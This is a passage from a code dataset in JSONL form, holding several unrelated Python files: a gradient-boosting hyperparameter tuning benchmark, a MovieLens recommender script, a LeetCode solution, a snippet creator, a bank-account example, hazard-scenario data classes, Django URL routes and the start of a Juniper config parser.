RepeatedKFold(n_splits=split_cnt_limit, n_repeats=repeats_cnt, random_state=random_state) # init CV\n # iterate over splits, but stop when the whole grid will be studied\n iters_gone = 0\n for train_idxs, valid_idxs in kf_cv.split(x_tr_val):\n print(f\"Current tuning iteration: {iters_gone + 1} / {cv_fit_number}\")\n # get current options\n model_options = {keys_list[i]: options_grid[keys_list[i]][cur_idx_each_option[i]] for i in range(options_count)}\n \n # get train and test sets\n x_train, x_valid = x_tr_val[train_idxs], x_tr_val[valid_idxs]\n y_train, y_valid = y_tr_val[train_idxs], y_tr_val[valid_idxs]\n \n # fit\n ctor_options, fit_options = split_options(model_options)\n model = regbm.Boosting(**ctor_options)\n start_time = time.time()\n history = model.fit(x_train=x_train, y_train=y_train, \n x_valid=x_valid, y_valid=y_valid, **fit_options)\n exec_time = time.time() - start_time\n \n # evaluate\n preds = model.predict(x_valid)\n if np.isnan(preds).any() or (preds == np.inf).any():\n mae = np.inf\n else:\n try:\n mae = mae_score(y_valid, preds)\n except Exception as m:\n mae = np.inf\n \n # add to the dictionary (to save in the data frame later)\n for key in keys_list:\n tuning_df[key].append(model_options[key])\n tuning_df['MAE'].append(mae)\n tuning_df['time'].append(exec_time)\n \n # update options' indexes\n while cur_prop_to_change < options_count and cur_idx_each_option[cur_prop_to_change] + 1 >= len(options_grid[keys_list[cur_prop_to_change]]):\n # find the next changable option\n cur_prop_to_change += 1\n if cur_prop_to_change >= options_count:\n # we have seen all the options, can finish\n break\n for prev_prop in range(cur_prop_to_change):\n # set all previous options to 0\n cur_idx_each_option[prev_prop] = 0\n cur_idx_each_option[cur_prop_to_change] += 1 # increment the current option\n # reduce index to the start (lexicographic order)\n cur_prop_to_change = 0\n # update iterations counter\n iters_gone += 1\n if iters_gone >= cv_fit_number:\n break # can finish tuning\n\n # return the resulting data frame\n tuning_df = pd.DataFrame(tuning_df) # convert to DF\n best_idx = tuning_df['MAE'].idxmin() # get minimum by MAE score\n best_params = tuning_df.iloc[[best_idx]].to_dict()\n for key in best_params.keys():\n # convert dictionaries to params (forget indexes)\n best_params[key] = list(best_params[key].values())[0]\n # return the data frame (protocol) and the best parameters dictionary (with mae and exec time)\n return tuning_df, best_params\n\n\ndef tune_CatBoost(x_tr_val, y_tr_val, options_grid, random_state=12):\n model = CatBoostRegressor()\n grid_search_result = model.grid_search(options_grid, \n X=x_tr_val, \n y=y_tr_val,\n cv=get_fit_steps(options_grid),\n refit=True,\n plot=False,\n verbose=False,\n partition_random_seed=random_state)\n return grid_search_result['params'], model # return the best parameters and the final model \n\n\ndef tune_Sklearn(x_tr_val, y_tr_val, options_grid):\n sk_boosting = SkBoosting()\n model = GridSearchCV(sk_boosting, options_grid, refit=True)\n model.fit(x_tr_val, y_tr_val)\n return model.best_params_, model\n\n\ndef regbm_tuned_mae(x_tr_val, y_tr_val, x_test, y_test,\n best_params, preds_dict):\n ctor_options, fit_options = split_options(best_params)\n model = regbm.Boosting(**ctor_options)\n history = model.fit(x_train=x_tr_val, y_train=y_tr_val,\n x_valid=x_test, y_valid=y_test, **fit_options)\n preds = model.predict(x_test)\n if (preds == np.inf).any(): # filter outliers\n return None, None\n mae = mae_score(y_test, preds)\n preds_dict[\"regbm\"] = preds\n return mae, np.std(np.abs(preds - y_test))\n\n\ndef Sklearn_tuned_mae(model, x_test, y_test, preds_dict):\n preds = model.predict(x_test)\n mae = mae_score(y_test, preds)\n preds_dict[\"sklearn\"] = preds\n return mae, np.std(np.abs(preds - y_test))\n\n\ndef CatBoost_tuned_mae(model, x_test, y_test, preds_dict):\n preds = model.predict(x_test)\n mae = mae_score(y_test, preds)\n preds_dict[\"catboost\"] = preds\n return mae, np.std(np.abs(preds - y_test))\n\n\ndef save_res(folder, res_name, prot_name, df_res, df_prot):\n # save resulting metrics\n target_path = os.path.join(folder, res_name)\n df_res = pd.DataFrame(df_res)\n df_res.to_csv(target_path)\n \n # save protocol\n target_path = os.path.join(folder, prot_name)\n df_prot.to_csv(target_path)\n\n\ndef save_best_params(best_params_dict, folder, res_name):\n target_path = os.path.join(folder, res_name)\n with open(target_path, 'w') as file:\n json.dump(best_params_dict, file)\n\n\ndef save_preds_gt(preds_dict, folder, res_name):\n os.makedirs(folder, exist_ok=True) # create dir if it doesn't exist\n target_path = os.path.join(folder, res_name)\n preds_df = pd.DataFrame(preds_dict)\n preds_df.to_csv(target_path)\n\n\ndef tune_dataset(cb_grid, sk_grid, jt_grid,\n dataset_loader, folder, dataset_name, random_state=12):\n # get data\n x_all, y_all = dataset_loader()\n # split into [train + validation] and test\n x_tr_val, x_test, y_tr_val, y_test = train_test_split(x_all, y_all, \n test_size=0.2, random_state=random_state)\n \n # dict to form the data frame later\n df_res = {\"Models\": [\"CatBoost\", \"Sklearn\", \"regbm\"],\n \"MAE\": [],\n \"std\": []}\n\n # dict with predictions and the ground truth\n preds_dict = {'ground_truth': y_test}\n\n # fit models\n # CatBoost\n print(f\"Tune CatBoost model\")\n cb_best_params, model = tune_CatBoost(x_tr_val, y_tr_val, cb_grid, random_state)\n cb_mae, cb_sd = CatBoost_tuned_mae(model, x_test, y_test, preds_dict)\n df_res[\"MAE\"].append(cb_mae)\n df_res[\"std\"].append(cb_sd)\n\n # Sklearn\n print(f\"Tune Sklearn model\")\n sk_best_params, model = tune_Sklearn(x_tr_val, y_tr_val, sk_grid)\n sk_mae, sk_sd = Sklearn_tuned_mae(model, x_test, y_test, preds_dict)\n df_res[\"MAE\"].append(sk_mae)\n df_res[\"std\"].append(sk_sd)\n\n # regbm\n print(f\"Tune regbm model\")\n jt_prot, best_params = tune_regbm(x_tr_val, y_tr_val, jt_grid, random_state)\n jt_mae, jt_sd = regbm_tuned_mae(x_tr_val, y_tr_val, x_test,\n y_test, best_params, preds_dict)\n if jt_mae is not None:\n df_res[\"MAE\"].append(jt_mae)\n if jt_sd is not None:\n df_res[\"std\"].append(jt_sd)\n\n # save results\n save_res(folder, dataset_name + '.csv', dataset_name + '_prot.csv', df_res, jt_prot)\n # save the best parameters\n save_best_params(best_params, folder, dataset_name + '_best_params.json')\n save_best_params(sk_best_params, folder, dataset_name + '_best_pars_sklearn.json')\n save_best_params(cb_best_params, folder, dataset_name + '_best_pars_catboost.json')\n # save predictions (to be able to make plots/boxplots/etc.)\n save_preds_gt(preds_dict, os.path.join(folder, 'preds_df'),\n dataset_name + '_preds.csv')\n\n\ndef tune_boston(folder, random_state=12):\n # CatBoost\n CatBoost_grid = {\n \"iterations\": [250, 500],\n \"learning_rate\": [0.1, 0.2],\n \"depth\": [2, 4, 6],\n \"random_state\": [random_state],\n \"feature_border_type\": [\"GreedyLogSum\"]\n }\n\n # Sklearn\n Sklearn_grid = {\n 'learning_rate': [0.1, 0.2],\n 'max_iter': [250, 500],\n 'max_depth': [2, 4, 6]\n }\n\n # regbm\n regbm_grid = {\n 'min_bins': [8, 16, 32, 64],\n 'max_bins': [256],\n 'no_early_stopping': [False],\n 'patience': [4],\n 'tree_count': [300, 500, 1000, 2000],\n 'tree_depth': [2, 4, 6, 8],\n 'feature_fold_size': [1.0],\n 'learning_rate': [0.1, 0.2, 0.4],\n 'regularization_param': [0, 0.1, 1],\n 'es_delta': [1e-5],\n 'batch_part': [1],\n 'random_batches': [False],\n 'random_hist_thresholds': [True],\n 'remove_regularization_later': [True],\n 'spoil_split_scores': [False, True],\n 'thread_cnt': [1]\n }\n\n tuning_params = {\n 'cb_grid': CatBoost_grid, \n 'sk_grid': Sklearn_grid,\n 'jt_grid': regbm_grid,\n 'dataset_loader': lambda: load_boston(return_X_y=True),\n 'folder': folder,\n 'dataset_name': 'boston', \n 'random_state': 12\n }\n tune_dataset(**tuning_params)\n\n\ndef tune_diabetes(folder, random_state=12):\n # CatBoost\n CatBoost_grid = {\n \"iterations\": [250, 500],\n \"learning_rate\": [0.1, 0.2],\n \"depth\": [2, 4, 6],\n \"random_state\": [random_state],\n \"feature_border_type\": [\"GreedyLogSum\"]\n }\n\n # Sklearn\n Sklearn_grid = {\n 'learning_rate': [0.1, 0.2],\n 'max_iter': [250, 500],\n 'max_depth': [2, 4, 6]\n }\n\n # regbm\n regbm_grid = {\n 'min_bins': [8, 16, 32, 64, 128, 256],\n 'max_bins': [256],\n 'no_early_stopping': [False],\n 'patience': [4],\n 'tree_count': [200, 330, 1000, 2000],\n 'tree_depth': [3, 4, 5, 8],\n 'feature_fold_size': [1.0],\n 'learning_rate': [0.15],\n 'regularization_param': [0.05, 0.1, 0.15],\n 'es_delta': [1e-5],\n 'batch_part': [1],\n 'random_batches': [False],\n 'random_hist_thresholds': [True],\n 'remove_regularization_later': [True],\n 'spoil_split_scores': [False, True],\n 'thread_cnt': [1]\n }\n\n tuning_params = {\n 'cb_grid': CatBoost_grid, \n 'sk_grid': Sklearn_grid,\n 'jt_grid': regbm_grid,\n 'dataset_loader': lambda: load_diabetes(return_X_y=True),\n 'folder': folder,\n 'dataset_name': 'diabetes', \n 'random_state': 12\n }\n tune_dataset(**tuning_params)\n\n\ndef tune_regression_100(folder, random_state=12):\n # CatBoost\n CatBoost_grid = {\n \"iterations\": [250, 500],\n \"learning_rate\": [0.1, 0.2],\n \"depth\": [2, 4, 6],\n \"random_state\": [random_state],\n \"feature_border_type\": [\"GreedyLogSum\"]\n }\n\n # Sklearn\n Sklearn_grid = {\n 'learning_rate': [0.1, 0.2],\n 'max_iter': [250, 500],\n 'max_depth': [2, 4, 6]\n }\n\n # regbm\n regbm_grid = {\n 'min_bins': [8, 16, 32, 64],\n 'max_bins': [256],\n 'no_early_stopping': [False],\n 'patience': [4],\n 'tree_count': [200, 300, 500, 1000, 2000],\n 'tree_depth': [3, 4, 5, 8],\n 'feature_fold_size': [1.0],\n 'learning_rate': [0.1, 0.2, 0.4, 0.6],\n 'regularization_param': [0.6, 0.7, 0.8],\n 'es_delta': [1e-5],\n 'batch_part': [1],\n 'random_batches': [False],\n 'random_hist_thresholds': [True],\n 'remove_regularization_later': [True],\n 'spoil_split_scores': [False, True],\n 'thread_cnt': [1]\n }\n\n tuning_params = {\n 'cb_grid': CatBoost_grid, \n 'sk_grid': Sklearn_grid,\n 'jt_grid': regbm_grid,\n 'dataset_loader': lambda: make_regression(n_samples=1000, n_features=100, \n n_informative=80, n_targets=1, bias=10.0, noise=3.0, shuffle=True, \n random_state=random_state),\n 'folder': folder,\n 'dataset_name': 'regr_100', \n 'random_state': 12\n }\n tune_dataset(**tuning_params)\n\n\ndef tune_regression_200(folder, random_state=12):\n # CatBoost\n CatBoost_grid = {\n \"iterations\": [250, 500],\n \"learning_rate\": [0.1, 0.2],\n \"depth\": [2, 4, 6],\n \"random_state\": [random_state],\n \"feature_border_type\": [\"GreedyLogSum\"]\n }\n\n # Sklearn\n Sklearn_grid = {\n 'learning_rate': [0.1, 0.2],\n 'max_iter': [250, 500],\n 'max_depth': [2, 4, 6]\n }\n\n # regbm\n regbm_grid = {\n 'min_bins': [8, 16, 32, 64],\n 'max_bins': [256],\n 'no_early_stopping': [False],\n 'patience': [4],\n 'tree_count': [300, 1000, 2000],\n 'tree_depth': [4, 5, 8],\n 'feature_fold_size': [1.0],\n 'learning_rate': [0.06, 0.1],\n 'regularization_param': [0.17, 0.18, 0.19],\n 'es_delta': [1e-5],\n 'batch_part': [1],\n 'random_batches': [False],\n 'random_hist_thresholds': [True],\n 'remove_regularization_later': [True],\n 'spoil_split_scores': [False, True],\n 'thread_cnt': [1]\n }\n tuning_params = {\n 'cb_grid': CatBoost_grid, \n 'sk_grid': Sklearn_grid,\n 'jt_grid': regbm_grid,\n 'dataset_loader': lambda: make_regression(n_samples=1000, n_features=200, \n n_informative=150, n_targets=1, bias=10.0, noise=3.0, shuffle=True, \n random_state=random_state),\n 'folder': folder,\n 'dataset_name': 'regr_200', \n 'random_state': 12\n }\n tune_dataset(**tuning_params)\n\n\ndef tune_winequality(folder, random_state=12):\n # a bit more complex function to get the data\n def dataset_loader():\n data_dir = os.path.join('datasets', 'winequality')\n data_csv = 'winequality-white.csv'\n all_data = pd.read_csv(os.path.join(data_dir, data_csv))\n # split into target and features\n label_name = 'quality'\n labels_df = all_data[label_name] # target df\n features_df = all_data.drop(label_name, axis=1) # features df\n # convert to numpy arrays\n y_all = labels_df.to_numpy()\n x_all = features_df.to_numpy()\n print(f\"dataset size: {y_all.shape[0]}\")\n print(f\"feature count: {x_all.shape[1]}\")\n return x_all, y_all\n\n # CatBoost\n CatBoost_grid = {\n \"iterations\": [250, 500],\n \"learning_rate\": [0.1, 0.2],\n \"depth\": [2, 4, 7, 8],\n \"random_state\": [random_state],\n \"feature_border_type\": [\"GreedyLogSum\"]\n }\n\n # Sklearn\n Sklearn_grid = {\n 'learning_rate': [0.1, 0.2],\n 'max_iter': [250, 500],\n 'max_depth': [2, 4, 7, 8]\n }\n\n # regbm\n regbm_grid = {\n 'min_bins': [8, 16, 32, 64],\n 'max_bins': [256],\n 'no_early_stopping': [False],\n 'patience': [5],\n 'tree_count': [200, 500, 1000, 2000],\n 'tree_depth': [3, 4, 5, 8],\n 'feature_fold_size': [1.0],\n 'learning_rate': [0.12, 0.15, 0.18, 0.6],\n 'regularization_param': [0.1, 0.12, 0.15],\n 'es_delta': [1e-6],\n 'batch_part': [1.0],\n 'random_batches': [False],\n 'random_hist_thresholds': [True],\n 'remove_regularization_later': [True],\n 'spoil_split_scores': [False, True],\n 'thread_cnt': [1]\n }\n\n tuning_params = {\n 'cb_grid': CatBoost_grid, \n 'sk_grid': Sklearn_grid,\n 'jt_grid': regbm_grid,\n 'dataset_loader': dataset_loader,\n 'folder': folder,\n 'dataset_name': 'winequality', \n 'random_state': 12\n }\n tune_dataset(**tuning_params)\n\n\ndef tune_supercond(folder, random_state=12):\n # a bit more complex function to get the data\n def dataset_loader():\n data_dir = os.path.join('datasets', 'superconduct')\n data_csv = 'train.csv'\n all_data = pd.read_csv(os.path.join(data_dir, data_csv))\n # split into target and features\n label_name = 'critical_temp'\n labels_df = all_data[label_name] # target df\n features_df = all_data.drop(label_name, axis=1) # featrues df\n # convert to numpy arrays\n y_all = labels_df.to_numpy()\n x_all = features_df.to_numpy()\n return x_all, y_all\n\n # CatBoost\n CatBoost_grid = {\n \"iterations\": [250, 500],\n \"learning_rate\": [0.1, 0.2],\n \"depth\": [2, 4, 7, 8],\n \"random_state\": [random_state],\n \"feature_border_type\": [\"GreedyLogSum\"]\n }\n\n # Sklearn\n Sklearn_grid = {\n 'learning_rate': [0.1, 0.2],\n 'max_iter': [250, 500],\n 'max_depth': [2, 4, 7, 8]\n }\n\n # regbm\n regbm_grid = {\n 'min_bins': [128, 256],\n 'max_bins': [256],\n 'no_early_stopping': [False],\n 'patience': [4],\n 'tree_count': [500, 1000, 2000],\n 'tree_depth': [3, 4, 7, 8],\n 'feature_fold_size': [1.0],\n 'learning_rate': [0.1, 0.15, 0.2],\n 'regularization_param': [0, 0.1, 1],\n 'es_delta': [1e-6],\n 'batch_part': [0.6],\n 'random_batches': [True],\n 'random_hist_thresholds': [True],\n 'remove_regularization_later': [True],\n 'spoil_split_scores': [False, True],\n 'thread_cnt': [1]\n }\n\n tuning_params = {\n 'cb_grid': CatBoost_grid, \n 'sk_grid': Sklearn_grid,\n 'jt_grid': regbm_grid,\n 'dataset_loader': dataset_loader,\n 'folder': folder,\n 'dataset_name': 'supercond', \n 'random_state': 12\n }\n tune_dataset(**tuning_params)\n\n\ndef tune_stairs(folder, random_state=12):\n # a bit more complex function to get the data\n def dataset_loader():\n data_dir = 'datasets'\n data_csv = 'stairs.csv'\n all_data = pd.read_csv(os.path.join(data_dir, data_csv))\n # split into target and features\n label_name = 'y'\n labels_df = all_data[label_name] # target df\n features_df = all_data.drop(label_name, axis=1) # featrues df\n # convert to numpy arrays\n y_all = labels_df.to_numpy()\n x_all = features_df.to_numpy()\n return x_all, y_all\n\n # CatBoost\n CatBoost_grid = {\n \"iterations\": [300, 500],\n \"learning_rate\": [0.1, 0.2],\n \"depth\": [2, 4, 7, 8],\n \"random_state\": [random_state],\n \"feature_border_type\": [\"GreedyLogSum\"]\n }\n\n # Sklearn\n Sklearn_grid = {\n 'learning_rate': [0.1, 0.2],\n 'max_iter': [300, 500],\n 'max_depth': [2, 4, 7, 8]\n }\n\n # regbm\n regbm_grid = {\n 'min_bins': [256],\n 'max_bins': [256],\n 'no_early_stopping': [False],\n 'patience': [4],\n 'tree_count': [1000, 2000],\n 'tree_depth': [4, 5, 8],\n 'feature_fold_size': [1.0],\n 'learning_rate': [0.1, 0.12],\n 'regularization_param': [0, 0.12, 0.13, 0.14, 0.145],\n 'es_delta': [1e-6],\n 'batch_part': [1.0],\n 'random_batches': [False],\n 'random_hist_thresholds': [True],\n 'remove_regularization_later': [True],\n 'spoil_split_scores': [False],\n 'thread_cnt': [1]\n }\n\n tuning_params = {\n 'cb_grid': CatBoost_grid, \n 'sk_grid': Sklearn_grid,\n 'jt_grid': regbm_grid,\n 'dataset_loader': dataset_loader,\n 'folder': folder,\n 'dataset_name': 'stairs', \n 'random_state': 12\n }\n tune_dataset(**tuning_params)\n\n\ndef tune_regression_1(folder, random_state=12):\n # CatBoost\n CatBoost_grid = {\n \"iterations\": [250, 500],\n \"learning_rate\": [0.1, 0.2],\n \"depth\": [2, 4, 6],\n \"random_state\": [random_state],\n \"feature_border_type\": [\"GreedyLogSum\"]\n }\n\n # Sklearn\n Sklearn_grid = {\n 'learning_rate': [0.1, 0.2],\n 'max_iter': [250, 500],\n 'max_depth': [2, 4, 6]\n }\n\n # regbm\n regbm_grid = {\n 'min_bins': [16, 64, 256],\n 'max_bins': [256],\n 'no_early_stopping': [False],\n 'patience': [4],\n 'tree_count': [500, 1000, 2000],\n 'tree_depth': [3, 4, 5, 8],\n 'feature_fold_size': [1.0],\n 'learning_rate': [0.08, 0.1, 0.12],\n 'regularization_param': [0.1, 0.12, 0.15],\n 'es_delta': [1e-5],\n 'batch_part': [1],\n 'random_batches': [False],\n 'random_hist_thresholds': [True],\n 'remove_regularization_later': [True],\n 'spoil_split_scores': [False, True],\n 'thread_cnt': [1]\n }\n\n tuning_params = {\n 'cb_grid': CatBoost_grid, \n 'sk_grid': Sklearn_grid,\n 'jt_grid': regbm_grid,\n 'dataset_loader': lambda: make_regression(n_samples=5000, n_features=1, \n n_informative=1, n_targets=1, bias=0.0, noise=0.2, shuffle=True, \n random_state=random_state),\n 'folder': folder,\n 'dataset_name': 'regr_1', \n 'random_state': 12\n }\n tune_dataset(**tuning_params)\n\n\ndef main():\n try:\n for cur_tuner in [\n tune_boston, \n tune_diabetes,\n tune_regression_100,\n tune_regression_200, \n tune_winequality,\n tune_supercond,\n tune_stairs,\n tune_regression_1\n ]:\n cur_tuner('tuning', 12)\n except Exception as ex:\n print(\"An exception was raised\")\n print(ex)\n # print traceback\n try: # need try-finally to delete ex_info\n ex_info = sys.exc_info()\n finally:\n traceback.print_exception(*ex_info)\n del ex_info\n finally:\n print(\"Finish\")\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"NikitaS4/regbm","sub_path":"Code/GBoosting/experiments/RealDataTuned.py","file_name":"RealDataTuned.py","file_ext":"py","file_size_in_byte":23709,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"72595141482","text":"'''\nCreated on Jun 3, 2015\n\n@author: Greg\n'''\nfrom build_profile import build_profile\nfrom build_dataframe import build_dataframe\nfrom build_similarity import build_similarity\nfrom find_movies import find_movies\nfrom genres import select_genres\nfrom item_item import item_item\n\n#####################initial setup #########################################\nbuild_db() # Create Database from flat MovieLens files\nbuild_item_table() #Create new table in DB for item-item filtering\n\ndef display_films(movie_list):\n '''Prints Movie List for user 10 films at a time and gives user option to exit'''\n cont = 'y'\n multiple = 1\n for film in range(len(movie_list)):\n if (film < (10 * multiple) and cont.lower()) == 'y':\n print(final_picks[film])\n elif len(final_picks) > 10:\n cont = input(\"Enter 'y' if you would like to see more films:\\n \")\n if cont.lower() == 'y':\n multiple +=1\n else:\n return(print(\"Thank you for using this service.\"))\n break\n\nwhile True:\n user_dict = build_profile() #Function prompts uses to rate 20 movies. The films presented have the largest number of reviews in the database\n k = eval(input(\"How many neighbors should be used for the recommendations? (k)\")) #This is used for User CF and Item CF\n print(\"This should take a few seconds...finding great movies for you!\")\n movie_df = build_dataframe(user_dict) #The dataframe is based on a query in the database getting ratings for all users who rated the same movies as the application's user\n cf_neighbors = build_similarity(user_dict, movie_df, k)#returns the nearest neighbors for the app user and their correlations \n cf_movies = find_movies(user_dict,cf_neighbors) #returns movies with predicted ratings for the user\n \n final_picks = select_genres(cf_movies)#gives the app's user the choice to request films of a certain genre\n print(display_films(final_picks)) \n \n e = input(\"I hoped those movies look good. I'm going to try another way to find movies for you, press enter to start the process:\\n\")\n print(\"This should take a few seconds...finding great movies for you!\")\n item_movies = item_item(user_dict, k) #Returns movies that are similar to items rated by the app user along with predicted rating\n \n final_picks = select_genres(item_movies)#gives the app's user the choice to request films of a certain genre\n print(display_films(final_picks)) \n \n \n e = input(\"I hoped those movies look good. \\n Press 0 if you would like to exit or any key to start the process over:\\n\\n\")\n if e == '0':\n print('Thank you! Goodbye!')\n break\n ","repo_name":"gfilla/Movielens-Recommender-System","sub_path":"Python Scripts/Full_Script.py","file_name":"Full_Script.py","file_ext":"py","file_size_in_byte":2704,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"69863915245","text":"class Solution:\n def validMountainArray(self, arr: List[int]) -> bool:\n if len(arr) < 3:\n return False\n peak = -1\n for i in range(1, len(arr)):\n if arr[i] > arr[i-1]:\n continue\n elif arr[i] == arr[i-1]:\n return False\n else:\n peak = i-1\n break\n for i in range(peak+2, len(arr)):\n if arr[i] < arr[i-1]:\n continue\n else:\n return False\n #if peak is still -1 then no peak was found (e.g. [0,1,2,3,4,5,6]) therefore there is no mountain\n #or if peak is 0 like in array [6,5,4,3,2,1,0] then we also have no mountain\n if peak > 0:\n return True\n return False\n","repo_name":"tsiolakis/leetcode","sub_path":"Arrays/ValidMountainArray-19dec2020/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":777,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"21358269413","text":"\n\nimport os\n\nmeta_tmpl = \"\"\"[meta]\nname =\ntitle =\nshortcut =\n\n[variables]\n\"\"\"\n\ndef get_location():\n location = raw_input('Directory to store the snippet: [~/.pida2/snippets/]: ')\n location = os.path.expanduser(location.strip())\n if not location:\n location = os.path.expanduser('~/.pida2/snippets/')\n return location\n\ndef get_name():\n name = raw_input('Enter snippet name: ')\n name = name.strip()\n if not name:\n raise Exception('You must enter a name')\n else:\n return name\n\ndef create_snippet(location, name):\n base = os.path.join(location, name)\n meta = base + '.meta'\n tmpl = base + '.tmpl'\n f = open(meta, 'w')\n f.write(meta_tmpl)\n f.close()\n open(tmpl, 'w').close()\n\ndef main():\n location = get_location()\n name = get_name()\n create_snippet(location, name)\n\nif __name__ == '__main__':\n main()\n","repo_name":"fermat618/pida","sub_path":"tools/snippet-creator.py","file_name":"snippet-creator.py","file_ext":"py","file_size_in_byte":874,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"19"} +{"seq_id":"13884365339","text":"class Account:\n pass\n\ndef account(name, number, balance):\n acct = Account()\n acct.name = name\n acct.number = number\n acct.balance = balance\n return acct\n\ndef deposit(acct, amount):\n if amount <= 0:\n print('存款金額不得為負')\n else:\n acct.balance += amount\n\ndef withdraw(acct, amount):\n if amount > acct.balance:\n print('餘額不足')\n else:\n acct.balance -= amount\n\ndef desc(acct):\n return \"Account('{name}', '{number}', {balance})\".format(\n name = acct.name, number = acct.number, balance = acct.balance\n )","repo_name":"QPromise/python-file","sub_path":"Python 3.5 技术手册_labs_范例/samples/CH05/object-oriented1/bank.py","file_name":"bank.py","file_ext":"py","file_size_in_byte":587,"program_lang":"python","lang":"en","doc_type":"code","stars":80,"dataset":"github-code","pt":"19"} +{"seq_id":"5741867230","text":"HAZARD_TYPES = [\n 'earthquake', 'flood', 'landslide', 'storm_surge', 'tsunami',\n 'volcano'\n]\n\nPROCESS_TYPE = {'earthquake': ['ground shaking', 'primary_surface_rupture',\n 'secondary_surface_rupture', 'liquefaction'],\n 'flood': ['inundation'],\n 'landslide': ['fall', 'topple', 'slide', 'lateral_spread',\n 'flow', 'complex'],\n 'storm_surge': ['inundation'],\n 'volcano': ['ash_fall', 'airborne_ash', 'lahar']}\n\n\nclass EventSet():\n \"\"\"\n Event Set\n\n :param eisd:\n :param geographic_area_bb:\n :param geographic_area_name:\n :param creation_date:\n :param hazard_type:\n :param time_start:\n ISO 8601 formatted\n :param time_end:\n ISO 8601 formatted\n :param str time_duration:\n ISO 8601 formatted\n :param str description:\n :param str bibliography:\n \"\"\"\n\n def __init__(self, esid, geographic_area_bb, geographic_area_name,\n creation_date, hazard_type, time_start=None,\n time_end=None, time_duration=None, description=None,\n bibliography=None, is_prob=False, events=None):\n self.esid = esid\n self.geographic_area_bb = geographic_area_bb\n self.geographic_area_name = geographic_area_name\n self.creation_date = creation_date\n self.hazard_type = hazard_type\n self.time_start = time_start\n self.time_end = time_end\n self.time_duration = time_duration\n self.description = description\n self.bibliography = bibliography\n self.is_prob = is_prob\n self.events = events\n self.contribution = None\n\n\nclass Event():\n \"\"\"\n Event\n \"\"\"\n\n def __init__(self, eid, event_set_id, calculation_method=None,\n frequency=None, occurrence_prob=None,\n occurrence_time_start=None, occurrence_time_end=None,\n occurrence_time_span=None, trigger_hazard_type=None,\n trigger_process_type=None, trigger_event_id=None,\n description=None, footprint_sets=None):\n \"\"\"\n :param list footprint_sets:\n \"\"\"\n self.eid = eid\n self.event_set_id = event_set_id\n self.calculation_method = calculation_method\n self.frequency = frequency,\n self.occurrence_prob = occurrence_prob,\n self.occurrence_time_start = occurrence_time_start,\n self.occurrence_time_end = occurrence_time_end,\n self.occurrence_time_span = occurrence_time_span,\n self.trigger_hazard_type = trigger_hazard_type,\n self.trigger_process_type = trigger_process_type,\n self.trigger_event_id = trigger_event_id,\n self.description = description\n self.footprint_sets = footprint_sets\n\n\nclass FootprintSet():\n \"\"\"\n FootprintSet\n\n :param str fsid:\n FootprintSet ID\n :param str event_id:\n String identifying the corresponding event\n :param str imt:\n The string defining the intensity measure type\n :param str process_type:\n The key describing the typology of process modelled (e.g. ground\n motion)\n :param list footprints\n :param data_uncertainty\n \"\"\"\n def __init__(self, fsid, event_id, imt, process_type,\n footprints,\n data_uncertainty=None):\n self.fsid = fsid\n self.imt = imt\n self.process_type = process_type\n self.data_uncertainty = data_uncertainty\n self.footprints = footprints\n\n\nclass Footprint():\n \"\"\"\n Footprint\n\n :param str fid:\n Footprint ID\n :param str fsid:\n String identifying the corresponding footprint set\n :param data:\n A :class:`numpy.ndarray` instance\n :param data_uncertainty_2nd_moment:\n :param triggering_footprint_id:\n \"\"\"\n\n def __init__(self, fid, fsid, data,\n data_uncertainty_2nd_moment=None,\n triggering_footprint_id=None,\n directives=None):\n self.fid = fid\n self.fsid = fsid\n self.data = data\n self.data_uncertainty_2nd_moment = data_uncertainty_2nd_moment\n self.triggering_footprint_id = triggering_footprint_id\n self.directives = directives\n\n def as_dict(self):\n ret = self.__dict__\n ret['data'] = self.data.tolist()\n for r, tri in enumerate(ret['data']):\n for k, v in enumerate(tri):\n ret['data'][r][k] = float(v)\n return ret\n","repo_name":"gem/hazard_scenario_database","sub_path":"python/mhs/mhs.py","file_name":"mhs.py","file_ext":"py","file_size_in_byte":4511,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"19"} +{"seq_id":"43796019568","text":"# -*- coding: utf-8 -*-\n\"\"\"\nContents : AtCoder Regular Contest 095 e問題 TLE\nAuthor : Kitaura Hiromi\nLastUpdate : 20180418\nSince : 20180416\n\"\"\"\n\nimport numpy as np\n\ndef check_symmetric_by_cols_rearange(cols):\n center_flag = False\n while len(cols) != 0:\n col = cols.pop()\n upsidedown_col = col[::-1]\n if upsidedown_col in cols:\n cols.pop(cols.index(upsidedown_col))\n else:\n if W%2 == 0:\n return False\n elif col == upsidedown_col and center_flag is False:\n center_flag = True\n continue\n else:\n return False\n return True\n\n\ndef dfs(S, T, Num):\n ans = False\n if Num == H:\n return check_symmetric_by_cols_rearange(list(zip(*rows[T])))\n else:\n for i in range(H - Num):\n ans = ans or dfs(S[:i]+S[i+1:], T+[S[i]], Num+1)\n return ans\n\nH, W = map(int, input().split(\" \"))\nrows = []\nfor h in range(H):\n rows.append(input())\nrows = np.array(rows)\n\nif dfs(list(range(H)), [], 0):\n print(\"YES\")\nelse:\n print(\"NO\")","repo_name":"KitauraHiromi/atcoder","sub_path":"ARC095/e.py","file_name":"e.py","file_ext":"py","file_size_in_byte":1098,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"24915514816","text":"from django.urls import path\nfrom . import views\n\napp_name = 'market'\nurlpatterns = [\n path('', views.index, name='home'),\n path('product//', views.product, name='product'),\n path('products/', views.products, name='products' ),\n]\n\nurlpatterns += [\n path('cart/', views.cart, name='cart'),\n]\n","repo_name":"SimpleNiQue/Dropshipping-Store","sub_path":"market/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":317,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"19"} +{"seq_id":"70341348204","text":"import re\nfrom pprint import pprint as pp\nfrom collections import OrderedDict\n\nclass Interfaces():\n def __init__(self):\n self._interfaces = OrderedDict()\n \n def is_supported(self, line):\n if line.startswith(\"set interfaces\"):\n return True\n elif line.startswith(\"deactivate interfaces\"):\n return True\n else:\n return False\n\n 